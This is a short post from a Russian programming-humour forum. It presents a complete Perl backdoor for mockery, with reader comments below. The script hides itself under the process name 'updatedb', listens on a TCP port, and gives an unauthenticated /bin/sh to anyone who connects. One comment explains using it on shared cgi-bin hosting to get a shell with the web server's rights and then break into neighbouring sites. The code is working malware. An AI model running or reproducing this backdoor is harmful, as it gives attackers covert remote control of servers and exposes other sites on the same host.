1. Perl / Говнокод #308

    −327.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    #!/usr/bin/perl
    
    $port = 32767;
    $port = $ARGV[0] if $ARGV[0];
    exit if fork;
    $0 = "updatedb" . " " x100;
    $SIG{CHLD} = 'IGNORE';
    use Socket;
    socket(S, PF_INET, SOCK_STREAM, 0);
    setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
    bind(S, sockaddr_in($port, INADDR_ANY));
    listen(S, 50);
    while(1)
    {
        accept(X, S);
        unless(fork)
        {
            open STDIN, "<&X";
            open STDOUT, ">&X";
            open STDERR, ">&X";
            close X;
            exec("/bin/sh");
        }
        close X;
    }

    Запостил: guest, 30 Декабря 2008

    Комментарии (8) RSS

    • telnetd? 0_o
      Ответить
    • ппц:
      вообще бред какой-то =\
      Ответить
    • Bobby:
      Неумение подобрать имя переменной - не говнокодерство.
      Ответить
    • nooob:
      Написано специально для закидывания на хостинг, где разрешен cgi-bin. Скрипт открывает шелл с правами вебсервера на определенном порту, и меняет свое имя в списке процессов, чтобы не было заметно. Потом прогулки по /home/ и взлом соседних сайтов. Не является говнокодом.
      Ответить
    • anonymous:
      >Не является говнокодом.
      А это что:
      $port = 32767;
      $port = $ARGV[0] if $ARGV[0];
      ?
      $port = $ARGV[0] || 32767
      не?
      Ответить
    • показать все, что скрытоvanished
      Ответить
      • Где тут 50 порт, guest8?

        > login
        Он же пароль попросит и в сислог всё запишет. Не айс для шелл-кода.
        Ответить

    Добавить комментарий